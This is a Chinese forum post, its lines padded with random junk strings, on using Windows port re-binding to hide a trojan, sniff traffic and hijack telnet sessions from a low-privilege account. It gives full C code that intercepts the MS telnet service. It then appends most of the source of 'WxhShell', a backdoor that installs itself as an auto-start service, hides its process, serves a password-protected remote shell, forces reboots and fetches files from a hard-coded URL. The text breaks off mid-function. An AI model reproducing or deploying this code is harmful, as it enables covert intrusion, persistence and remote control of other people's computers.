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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: n])-+[F  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); i?7%z`  
{HgW9N(  
  saddr.sin_family = AF_INET; re.%$D@  
s3G\L<~mB  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); @ mzf(Aq  
m~K[+P  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); HSt|Ua.c/h  
kBPFk t2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m7:E7 3:  
Salu[)+?  
  这意味着什么?意味着可以进行如下的攻击: [\9WqHs  
E\M{/.4 4  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 DNgQ.lV  
?nm:e.S+?  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !U02>X   
Kd_WN;l  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 )G(6=l*  
YK# QH"}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #=WDJ T:  
pv;c<NQ'1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 7f4R5c  
S}"?#=Q.%O  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 niO(>  
Q:LyD!at  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~ "l a2  
^q"wd?((h  
  #include qA- ya6  
  #include M/U$x /3K  
  #include &}Y_EHj}  
  #include    y$)gj4k/D  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Q9K+k*?{N  
  int main() 0F'75  
  { 9Ao0$|@b  
  WORD wVersionRequested; {GF>HHQb  
  DWORD ret; 1B3,lYBM  
  WSADATA wsaData; mB(*)PwZ  
  BOOL val; 0XlX7Sk+  
  SOCKADDR_IN saddr; i '!M<>7  
  SOCKADDR_IN scaddr; .?SClTqg  
  int err; >l$vu-k)~4  
  SOCKET s; ~L(_q]  
  SOCKET sc; bw*@0;  
  int caddsize; oH+UuP2a-J  
  HANDLE mt; YQR*?/?a  
  DWORD tid;   RJs_ S  
  wVersionRequested = MAKEWORD( 2, 2 ); (4V1%0  
  err = WSAStartup( wVersionRequested, &wsaData ); SwQ.tK1p  
  if ( err != 0 ) { <!,q:[ee5  
  printf("error!WSAStartup failed!\n"); ,8( %J3J  
  return -1; _ED1".&#f  
  } (.,E6H|zI  
  saddr.sin_family = AF_INET; }nE#0n  
   )Jx!VJ^Y  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ADX}  
XA])<dZ  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); TGLkwXOkT  
  saddr.sin_port = htons(23); Ja-D}|;  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) DT&[W<oN  
  { tYfhKJzGC  
  printf("error!socket failed!\n"); k?Jzy  
  return -1; hvBuQuk)  
  } -b@E@uAX /  
  val = TRUE; hE:P'O1  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ;hs:wLVa"  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6\86E$f=h  
  { 'OGOT0(  
  printf("error!setsockopt failed!\n"); PqcuSb6  
  return -1; Tu_dkif'  
  } )<.S 3  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pb%#`2"  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 3Gn2@`GC  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 9BANCW"  
HkvCQH  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) c7\bA7.  
  { ^OG^% x"  
  ret=GetLastError(); @n(=#Q3  
  printf("error!bind failed!\n"); ^F?H)[0  
  return -1; mC~W/KReA  
  } c%~'[W04\  
  listen(s,2); {yyg=AMz  
  while(1) svpWABO  
  { ! # tRl  
  caddsize = sizeof(scaddr); Lu:!vTRmw  
  //接受连接请求 q\#3G  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); @=wAk5[IN  
  if(sc!=INVALID_SOCKET) 54F([w  
  { &P3B  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); B_5q}Bp<  
  if(mt==NULL) Wr)% C  
  { d; #9xD'  
  printf("Thread Creat Failed!\n"); Wc3!aLNx  
  break; RAE|eTnna  
  } Q X@&~  
  } uy\YJ.WMQ  
  CloseHandle(mt); P >N\q  
  } ;JL@V}L,  
  closesocket(s); f| N(~  
  WSACleanup(); mA^>Y_:  
  return 0; y6*i/3  
  }   =r0!-[XCa  
  DWORD WINAPI ClientThread(LPVOID lpParam) 5!nZvv  
  { @oRYQ|.R  
  SOCKET ss = (SOCKET)lpParam; ,A6*EJ\w   
  SOCKET sc; z5'VsK:  
  unsigned char buf[4096]; WgPL4D9=  
  SOCKADDR_IN saddr;  7/7A  
  long num; Wq{'ZN  
  DWORD val; 0[3b,  
  DWORD ret; 1}jE?{V*  
  //如果是隐藏端口应用的话,可以在此处加一些判断 XVv7W5/q]  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s?Q`#qD  
  saddr.sin_family = AF_INET; D"x~bs?V\  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); rW\~sTH  
  saddr.sin_port = htons(23); !Rb7q{@>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iBUf1v  
  { T[Gz  
  printf("error!socket failed!\n"); 6  09=o+  
  return -1; c7rYG]  
  } NZlJ_[\$C  
  val = 100; &H4UVI  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u|:VQzPd-  
  { P;_dil G  
  ret = GetLastError(); jB1\L<P  
  return -1; p`d:g BZ  
  } ]hf4= gm  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) rz7yAm  
  { !m(6/*PAl  
  ret = GetLastError(); q6G([h7  
  return -1; uk'<9g^  
  } Cz a)s  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 9hguC yr@h  
  { oNCDG|8z  
  printf("error!socket connect failed!\n"); fGe{7p6XV*  
  closesocket(sc); hXr vb[6  
  closesocket(ss); pP/o2  
  return -1; #ASu SQ  
  } X r)d;@yi  
  while(1) pH~JPNng  
  { T8m%_U#b  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ZRQPOy  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 !CMN/=  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 sN?:9J8  
  num = recv(ss,buf,4096,0); YJL=|v  
  if(num>0) X1'Ze,34  
  send(sc,buf,num,0); ^y6CV4T+  
  else if(num==0) h`GV[Oo:  
  break; O0{v`|w9+  
  num = recv(sc,buf,4096,0); Y zvtxX*  
  if(num>0) <1LuYEDq  
  send(ss,buf,num,0); Bpp9I;)c  
  else if(num==0) QV 'y6m\  
  break; w6yeX<!ll  
  } hWW<]qzA,  
  closesocket(ss); 'Qfy+_0  
  closesocket(sc); w`v\/a_  
  return 0 ; AdYQhF##  
  } @"EX%v.  
;yXnPAtJ  
<?7~,#AK  
========================================================== , XR8qi~  
P4AdfHk  
下边附上一个代码,,WXhSHELL 7>mYD3  
,Z^GN%Q7a  
========================================================== h/VYH(Tj  
CFA>  
#include "stdafx.h" R"=M5  
ky%%H;  
#include <stdio.h> .R"L$V$RU.  
#include <string.h> A&7jE:Ew  
#include <windows.h> `&6]P:_qp  
#include <winsock2.h> :)yM9^<D  
#include <winsvc.h> b>(l F%M  
#include <urlmon.h> Dm^kuTIG  
f:0n-me  
#pragma comment (lib, "Ws2_32.lib") ;5l|-&{@*  
#pragma comment (lib, "urlmon.lib") [eN{Ft0x  
6qDD_:F  
#define MAX_USER   100 // 最大客户端连接数 NNdS:(  
#define BUF_SOCK   200 // sock buffer #e=^-yE  
#define KEY_BUFF   255 // 输入 buffer Yt'o#"R)  
sg2C_]i,H  
#define REBOOT     0   // 重启 NEH$&%OV?  
#define SHUTDOWN   1   // 关机 sP |i '  
[P,nW/H  
#define DEF_PORT   5000 // 监听端口 {ULnQ 6@  
Fo=6A[J  
#define REG_LEN     16   // 注册表键长度 9|m  L  
#define SVC_LEN     80   // NT服务名长度 X[ (J!"+  
]]ZBG<#  
// 从dll定义API 5~F0'tb|}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); E;Hjw0M'k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); z~5'p(|@f  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); pk4&-iu9  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); G<eJ0S  
a+i+#*8wm  
// wxhshell配置信息 `!8Z"xD  
struct WSCFG { jY.%~Y1y  
  int ws_port;         // 监听端口 e- CW4x  
  char ws_passstr[REG_LEN]; // 口令 ]>o2P cb;  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3Cl9,Z"&6$  
  char ws_regname[REG_LEN]; // 注册表键名 Uf<vw3  
  char ws_svcname[REG_LEN]; // 服务名 8(;i~f:bCW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f+Go8Lg=M  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3"n8B6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "lZ<bG  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "LWuN>   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" dp70sA!JF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }+J@;:  
k#&SWp=  
}; .#J3UZ  
co80M;4  
// default Wxhshell configuration YLo$n  
struct WSCFG wscfg={DEF_PORT, M[{:o/]<  
    "xuhuanlingzhe", Y5CE#&  
    1, '1 $({{R  
    "Wxhshell", J;`~ !g  
    "Wxhshell", A{%;Hd`0/  
            "WxhShell Service", U8KY/!XZ  
    "Wrsky Windows CmdShell Service", [  _$$P*  
    "Please Input Your Password: ", >xKRU5  
  1, TbVL71c  
  "http://www.wrsky.com/wxhshell.exe", L />GYx  
  "Wxhshell.exe" POXn6R!mM1  
    }; h6N}sLM{0  
"-?Y UY`  
// 消息定义模块 . 6dT5x8u  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lz 6 Aj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ^aCYh[=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; WRyLpTr-  
char *msg_ws_ext="\n\rExit."; J.l%H U  
char *msg_ws_end="\n\rQuit."; }C1wfZ~F~  
char *msg_ws_boot="\n\rReboot..."; 88j ;7  
char *msg_ws_poff="\n\rShutdown..."; ?g4|EV-56  
char *msg_ws_down="\n\rSave to "; >JOvg*a?"  
Z(M)2  
char *msg_ws_err="\n\rErr!"; !X8R  
char *msg_ws_ok="\n\rOK!"; dDbC0} x/  
T7~v40jn|  
char ExeFile[MAX_PATH]; AUde_ 1hi  
int nUser = 0; G |^X:+  
HANDLE handles[MAX_USER]; |GQ$UB  
int OsIsNt; |lwN!KVQ,  
!ei20@  
SERVICE_STATUS       serviceStatus; fZ fiiE~7J  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; M3 u8NRd5|  
%U7f9  
// 函数声明 {;DZ@2|  
int Install(void); Dys"|,F  
int Uninstall(void); 2*YXm>|1  
int DownloadFile(char *sURL, SOCKET wsh); e~;)-Z  
int Boot(int flag); L? +|%[  
void HideProc(void); qEr[fC@x  
int GetOsVer(void); [i1D~rCcn  
int Wxhshell(SOCKET wsl); =_J<thp  
void TalkWithClient(void *cs); CD[=z)<z{  
int CmdShell(SOCKET sock); G\ZRNb  
int StartFromService(void); :q<%wLs  
int StartWxhshell(LPSTR lpCmdLine); m4>o E|\  
^)l@7XxD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @|Bp'`j%J  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); eE%yo3  
)\Q|}JV  
// 数据结构和表定义 b.*4RL  
SERVICE_TABLE_ENTRY DispatchTable[] = @ -d4kg  
{ \#,#_  
{wscfg.ws_svcname, NTServiceMain}, j]O[I^5  
{NULL, NULL} ix@rq#  
}; 3uG5b8?  
L.[uMuUa  
// 自我安装  7`@?3?  
int Install(void) 0\nhg5]?  
{ _Pi:TxY   
  char svExeFile[MAX_PATH]; bnu0*Zg>  
  HKEY key; K0=E4>z,`q  
  strcpy(svExeFile,ExeFile); Jjh!/pWZ4  
rxp9B>~  
// 如果是win9x系统,修改注册表设为自启动 6G$tYfX  
if(!OsIsNt) { xH#a|iT?(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { RyWOiQk;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vzvw/17J  
  RegCloseKey(key); g*r;( H>e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { B^~Bv!tHWr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _hL4@ C  
  RegCloseKey(key); gr{Sh`Cm-  
  return 0; Bl\kU8O-  
    } Atq2pL"  
  } L)Ar{*xC  
} *js$r+4  
else { W?J[K;<  
>/kG5]zxY  
// 如果是NT以上系统,安装为系统服务 %]$p ^m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @SG"t,5s  
if (schSCManager!=0) 6FIoWG"x  
{ R bc2g"]  
  SC_HANDLE schService = CreateService ^GaPpm  
  ( ~.`r(  
  schSCManager, Ny7=-]N4{"  
  wscfg.ws_svcname, T KL(97)<  
  wscfg.ws_svcdisp, [mzF)/[_2  
  SERVICE_ALL_ACCESS, A""*vqA  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , <L ( =  
  SERVICE_AUTO_START, y"L`bl A9}  
  SERVICE_ERROR_NORMAL, V^/^OR4k  
  svExeFile, gJ8 c]2c  
  NULL, -U;LiO;N  
  NULL, FK >8kC  
  NULL, '!h0![OH  
  NULL, h]DE Cd{  
  NULL MGyB8(  
  ); KXA)i5z  
  if (schService!=0) l@/kPEh  
  { aC Lg~g4  
  CloseServiceHandle(schService); y{I[}$k  
  CloseServiceHandle(schSCManager); 8 E+C:"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8Pr7aT:,  
  strcat(svExeFile,wscfg.ws_svcname); #L= eK8^e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [d~bZS|(T(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bok 74U]  
  RegCloseKey(key); yP9wYF^A\  
  return 0; }d\Tk(W  
    } N z3%}6F:  
  } xXxh3 k\  
  CloseServiceHandle(schSCManager); qq7X ",s  
} \ jXN*A  
} !v4j`A;%  
=*:_swd  
return 1; yO,`"Dc_0  
} S<]a@9W  
zpr@!76  
// 自我卸载 C9Z\G 3  
int Uninstall(void) %x8`fm  
{ 4J 51i*`  
  HKEY key; dtnet_j  
akCo+ @  
if(!OsIsNt) { hd ;S>K/C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q(tG bhQ  
  RegDeleteValue(key,wscfg.ws_regname); P(gVF |J?  
  RegCloseKey(key);  ; zE5(3x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { fQy C6C  
  RegDeleteValue(key,wscfg.ws_regname); g_U~.?Db7  
  RegCloseKey(key); ,ibPSN5Ca  
  return 0; jM1%6  
  } 1LId_vJtJ  
} &<|-> *v  
} FJ(B]n[>  
else { oYh<k  
.i&ZT}v3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u !3]RGJ  
if (schSCManager!=0) -llx:  
{ 'uf\.F  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "(\) &G  
  if (schService!=0) 4,F3@m:<  
  { 6;[/ 9  
  if(DeleteService(schService)!=0) { 7Cd_zZ  
  CloseServiceHandle(schService); "ryk\}*<  
  CloseServiceHandle(schSCManager); r2GK_$vd  
  return 0; z'oiyXEE3  
  } W\qLZuQ  
  CloseServiceHandle(schService); }\u%)uZ  
  } 8hKP  
  CloseServiceHandle(schSCManager); ;w6fM  
} Q-8'?S  
} %`?;V;{=  
9XoQO9*Q  
return 1; G=Hf&l  
} ![@T iM  
2\nN4WL 5.  
// 从指定url下载文件 Wyq~:vU.S  
int DownloadFile(char *sURL, SOCKET wsh) fzS`dL5,W  
{ B+Y5b5+wOQ  
  HRESULT hr; cZgMA8 F  
char seps[]= "/"; n|x$vgb  
char *token; AUxM)H  
char *file; (/SGT$#8  
char myURL[MAX_PATH]; jWXR__>.  
char myFILE[MAX_PATH]; %0yS98']g  
iIsEQh  
strcpy(myURL,sURL); ;n} >C' :  
  token=strtok(myURL,seps); (rr}Pv%yb  
  while(token!=NULL) Gg9VS&VI  
  { @q&|MMLt  
    file=token; ?L@@;tt  
  token=strtok(NULL,seps); 2f|6z- Z  
  } 4O`6h)!NQ  
l801` ~*gO  
GetCurrentDirectory(MAX_PATH,myFILE); cGE=.  
strcat(myFILE, "\\"); MCk^Tp!  
strcat(myFILE, file); n1*&%d'7  
  send(wsh,myFILE,strlen(myFILE),0); ?h!t$QQ!M  
send(wsh,"...",3,0); -]Q(~'a  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l]_b;iux  
  if(hr==S_OK) <Zp^lDxa  
return 0; 20UqJM8 Ot  
else dU]i-NF  
return 1; S~0JoCeo  
u R\m`  
} PMgQxM*h  
IS[Vap:  
// 系统电源模块 {J~(#i k   
int Boot(int flag) g ?afX1Sg  
{ JF M"ii{8  
  HANDLE hToken; >[ug zJ  
  TOKEN_PRIVILEGES tkp; v@8S5KJ  
L 42|>%uo  
  if(OsIsNt) { &P 8!]:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); z,{e]MB)M  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N5nvL)a~  
    tkp.PrivilegeCount = 1; >dpbCPJ9[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Ag0]U  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~ww?Emrw  
if(flag==REBOOT) { lDW!Fg  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ue(r} *  
  return 0; vd}*_d  
} GS\%mPZ  
else { RT% x&j  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V: ^JC>6  
  return 0; aje^Z=]  
} -uWKY6 :5  
  } T8n-u b<  
  else { 24|  
if(flag==REBOOT) { TH|?X0b  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N-[n\}'  
  return 0; "JkZJ#  
} ZCm1+Y$  
else { 31~hlp;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ngP7'1I  
  return 0; _6;<ow  
} JE0?@PI$  
} coDj L.u  
~&1KrUu&  
return 1; *^'wFbaBO  
} ezp<@'0ZT  
!#q{Z>H`  
// win9x进程隐藏模块 hM~eJv  
void HideProc(void) FbveI4  
{ /H')~!Yz  
2Ok?@ZdjA{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); mc?';dEG  
  if ( hKernel != NULL ) a`#S|'oatC  
  { 0pD W _  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1h2H1gy5I3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Vo%Yf9C  
    FreeLibrary(hKernel); *|mz_cKu  
  } |U#DUqw  
9Uk(0A  
return; /I`3dWL  
} 1t+%Gv^sK  
d7* CwY9"  
// 获取操作系统版本 Yi 6Nw+$  
int GetOsVer(void) Rho5s@N7  
{ @0$}? 2  
  OSVERSIONINFO winfo; C` pp  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); O@s{uZ|A6  
  GetVersionEx(&winfo); N[pZIH5ho=  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5.w iTy  
  return 1; lr WLN  
  else e#.\^   
  return 0; E#8_hT]5  
} gI)u}JX  
+ 3h`UF  
// 客户端句柄模块 rJ DnuR  
int Wxhshell(SOCKET wsl) [[w2p  
{ eK'wVg#  
  SOCKET wsh; NCi>S%pD`<  
  struct sockaddr_in client; _?.\Xc  
  DWORD myID; & 1[y"S  
]u+MTW;  
  while(nUser<MAX_USER) m4@MxQm  
{ /}=a{J  
  int nSize=sizeof(client); 4d0#86l~J/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); tRteyNA  
  if(wsh==INVALID_SOCKET) return 1; NvQ%J+  
.)7:=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); LP9)zi  
if(handles[nUser]==0) -ui< E?v  
  closesocket(wsh); Nsn~@.UuSW  
else b$Ln} <  
  nUser++; fD{II+T  
  } tjj^O%SV<  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); & 1_U1  
FPF6H puV  
  return 0; g`n;R  
} M'q'$)e  
G+VD8]!K1  
// 关闭 socket ]*3:DU  
void CloseIt(SOCKET wsh) 2U}m RgJu  
{ yyP'Z~0  
closesocket(wsh); j$vK<SF  
nUser--; Ra[>P _  
ExitThread(0); dx@QWTNE  
} cD2+hp|9  
&Yf",KcL*I  
// 客户端请求句柄 Hd%! Nt\u  
void TalkWithClient(void *cs) y])).p P  
{ D L{R|3{N  
Bd5+/G=m  
  SOCKET wsh=(SOCKET)cs; Fnb2.R'+  
  char pwd[SVC_LEN]; g6%Z)5D]!  
  char cmd[KEY_BUFF]; R-  
char chr[1]; =1Z;Ma<;  
int i,j; Z19m@vMsIP  
2+.18"rvi  
  while (nUser < MAX_USER) { "ZT.k5Z  
_y vLu j  
if(wscfg.ws_passstr) { OR4!YVVQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); j)by}}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J R$r!hX  
  //ZeroMemory(pwd,KEY_BUFF); %ucjMa>t  
      i=0; M4KWN'  
  while(i<SVC_LEN) { pZk6 w1d!  
rC BfD  
  // 设置超时 ,PECYwegkt  
  fd_set FdRead; lZW K2  
  struct timeval TimeOut; !8R@@,_v  
  FD_ZERO(&FdRead); }H RK?.Vj:  
  FD_SET(wsh,&FdRead); nWJ:=JQ i"  
  TimeOut.tv_sec=8; q+ pOrGh  
  TimeOut.tv_usec=0; U>P|X=)  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \4{2eU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); qaVy.  
;:mu}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9JshMo  
  pwd=chr[0]; O'$K],=BS  
  if(chr[0]==0xd || chr[0]==0xa) { aXY -><  
  pwd=0; 88lxHoPV  
  break; }gGkV]  
  } A\AT0th  
  i++; (UYF%MA}"  
    } 0 [8=c&F  
aDL*W@1S  
  // 如果是非法用户,关闭 socket sbo^"&%w  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T6M+|"92  
} XIAeCU  
Quzo8 u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p $ouh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QTmZ( >z  
,=BLnsg  
while(1) { .Cz %:%9  
< g|Z}Y  
  ZeroMemory(cmd,KEY_BUFF); 2p!"p`b~  
W^\d^)  
      // 自动支持客户端 telnet标准   `t (D!  
  j=0; +f NvNbtA  
  while(j<KEY_BUFF) { }BJX/, H,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); X!tf#tl  
  cmd[j]=chr[0]; wRtZ `o  
  if(chr[0]==0xa || chr[0]==0xd) { /i_ @  
  cmd[j]=0; rwE%G>Vb  
  break; 7N=-Y>$X  
  } ROc`BH=  
  j++; [/ M`  
    } =f1B,%7G+5  
hs+kr?Pg`  
  // 下载文件 PftxqJz  
  if(strstr(cmd,"http://")) { (Yb[)m>fQ}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); LF*&(NC  
  if(DownloadFile(cmd,wsh)) 0;.<~;@h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); JkQ\)^5v  
  else ',I0ih#Ls  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '5KeL3J;  
  } atF?OP|{,w  
  else { 89~ =eY  
|=dC )Azs  
    switch(cmd[0]) { D@oCP =m<  
  {ZsdLF#  
  // 帮助 0?0Jz  
  case '?': { 'CR)`G_'[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `ln1$  
    break; D y-S98Y  
  } ]J7Qgp)i  
  // 安装 9`Q<Yy"du  
  case 'i': { $s5a G)?7  
    if(Install()) 5n lMrK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X"aEJ|y  
    else MXD4|r(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @b#^ -  
    break; 58tVx'1y  
    } t*XN_=E$f  
  // 卸载 FFKGd/:!  
  case 'r': { PVOx`<ng  
    if(Uninstall()) 3)=c]@N0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u3 0s_\  
    else 28.~iw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tBATZ0nK`Q  
    break; . T JEUK  
    } ,u9M<B<F  
  // 显示 wxhshell 所在路径 V5f9]D  
  case 'p': { 3< Od0J  
    char svExeFile[MAX_PATH]; lB91An  
    strcpy(svExeFile,"\n\r"); ~lAKJs#{  
      strcat(svExeFile,ExeFile); M~Ttb29{  
        send(wsh,svExeFile,strlen(svExeFile),0); %@"!8Y(j  
    break; ]D 2u deg  
    } jE2}p-2Q0  
  // 重启 kgdT7  
  case 'b': { R(Kk{c:-@  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ^' M>r (t  
    if(Boot(REBOOT)) q`NXJf=sc  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {'En\e  
    else { Q]/Uq~m C  
    closesocket(wsh); UBv@+\Y8m  
    ExitThread(0); 2i{cQ96  
    } LUX*P7*B  
    break; !k3e\v|  
    } yifY%!@Xu  
  // 关机 :#~U<C@o  
  case 'd': { KJ2Pb"s  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); I pzJ#  
    if(Boot(SHUTDOWN)) (6l+lru[  
